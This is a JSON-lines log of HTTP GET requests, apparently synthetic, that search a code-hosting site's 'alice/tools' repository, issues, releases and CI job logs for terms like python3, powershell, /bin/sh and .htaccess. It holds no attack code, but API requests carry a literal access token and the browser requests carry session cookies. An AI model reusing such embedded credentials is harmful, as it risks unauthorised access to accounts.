{"method": "GET", "target": "/explore/repos?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/code?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/issues?type=your_repositories&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/branches?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/users?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/organizations?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice?tab=repositories&q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=release%20notes&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/wiki/search?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/releases?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=powershell&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/releases?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=ls%20-la&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/releases?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/releases?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/releases?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/releases?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/releases?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=release%20notes", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=release%20notes", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/feat/docker-support?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/releases?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/branches?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=.gitignore&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
